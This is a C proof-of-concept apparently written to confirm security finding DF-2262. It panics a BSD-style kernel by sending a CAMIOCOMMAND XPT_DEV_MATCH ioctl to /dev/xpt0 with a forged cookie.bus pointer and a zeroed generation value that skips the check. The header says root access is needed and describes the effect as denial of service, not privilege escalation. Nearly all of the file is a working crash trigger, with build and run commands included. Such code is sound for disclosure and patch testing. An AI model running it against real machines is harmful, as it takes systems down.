/*
 * DF-2262 — XPT_DEV_MATCH trusts user-supplied EDT cookie.bus
 *
 * Root-level live trigger for the controlled-deref panic documented in the
 * finding.  /dev/xpt0 is mode 0600 (root:operator) so this is a root->kernel
 * DoS confirmation, NOT an unprivileged escalation.  The unprivileged path is
 * permission-gated (maxx has no access to /dev/xpt0).
 *
 * Mechanism (sys/bus/cam/cam_xpt.c):
 *   xptioctl CAMIOCOMMAND -> XPT_DEV_MATCH (cam_xpt.c:1125) -> xpt_action
 *   -> periph XPT_DEV_MATCH handler (cam_xpt.c:3262) picks EDT path
 *   -> xptedtmatch (cam_xpt.c:2427):
 *        gen check at :2437-2439 is bypassed when generations[0]==0;
 *        then :2444-2447 if position_type & CAM_DEV_POS_BUS and cookie.bus!=NULL
 *        passes the *raw user pointer* to xptbustraverse((struct cam_eb*)cookie.bus,...)
 *   -> xptbustraverse (cam_xpt.c:2631) dereferences the fake cam_eb*
 *      (TAILQ_NEXT / CAM_SIM_LOCK)  =>  fatal trap / panic.
 *
 * Build:  cc -I/usr/src/sys -I/usr/src/sys/sys -o xpt_devmatch_poison xpt_devmatch_poison.c
 * Run:    ./xpt_devmatch_poison   (as root; panics the kernel)
 */

#include <sys/types.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <err.h>

/*
 * We do NOT try to mirror the entire union ccb.  We only need the layout of
 * struct ccb_dev_match up to the position/cookie fields, preceded by the
 * ccb_hdr fields that xpt_find_bus / xpt_action read.  Pull the real
 * definitions from the kernel tree so the offsets match exactly.
 */
#include <bus/cam/cam.h>
#include <bus/cam/cam_ccb.h>

/* CAMIOCOMMAND is defined in <cam/scsi/scsi_pass.h>; replicate to avoid the
 * extra dependency. */
#ifndef CAMIOCOMMAND
#define CAMIOCOMMAND _IOWR(CAM_VERSION, 2, union ccb)
#endif

int
main(int argc, char **argv)
{
	union ccb *ccb;
	struct dev_match_pattern pat;
	struct dev_match_result res;
	int fd, rc;
	const char *dev = argc > 1 ? argv[1] : "/dev/xpt0";

	fd = open(dev, O_RDWR);
	if (fd < 0)
		err(1, "open %s", dev);

	ccb = calloc(1, sizeof(*ccb));
	if (ccb == NULL)
		err(1, "calloc");

	/* A valid path_id is required: xpt_find_bus must succeed (cam_xpt.c:1035).
	 * Bus 0 always exists on this guest (the ATA bus). */
	ccb->ccb_h.func_code = XPT_DEV_MATCH;
	ccb->ccb_h.path_id = 0;		/* CAM_BUS_WILDCARD would fail xpt_find_bus */
	ccb->ccb_h.target_id = CAM_TARGET_WILDCARD;
	ccb->ccb_h.target_lun = CAM_LUN_WILDCARD;

	/* Force the EDT tree.  With num_patterns==0 the handler selects EDT
	 * (cam_xpt.c:3299-3300) — but we want the poisoned-cookie branch, so we
	 * set position_type = EDT|BUS ourselves. */
	ccb->cdm.num_patterns = 0;
	ccb->cdm.patterns = NULL;
	ccb->cdm.pattern_buf_len = 0;
	ccb->cdm.matches = &res;
	ccb->cdm.match_buf_len = sizeof(res);
	ccb->cdm.num_matches = 0;

	/* THE BUG: set position so xptedtmatch trusts our cookie.bus verbatim. */
	ccb->cdm.pos.position_type = CAM_DEV_POS_EDT | CAM_DEV_POS_BUS;
	ccb->cdm.pos.generations[CAM_BUS_GENERATION] = 0;	/* bypass gen check */
	ccb->cdm.pos.cookie.bus = (void *)0x4141414141414141UL; /* fake cam_eb * */

	printf("[*] issuing CAMIOCOMMAND XPT_DEV_MATCH with cookie.bus=0x4141...\n");
	printf("[*] expect fatal trap in xptbustraverse (deref of fake cam_eb)\n");
	fflush(stdout);

	rc = ioctl(fd, CAMIOCOMMAND, ccb);
	if (rc < 0)
		warn("ioctl CAMIOCOMMAND returned (kernel survived?)");
	else
		printf("[!] ioctl returned %d, cdm.status=%d\n", rc, ccb->cdm.status);

	close(fd);
	return 0;
}
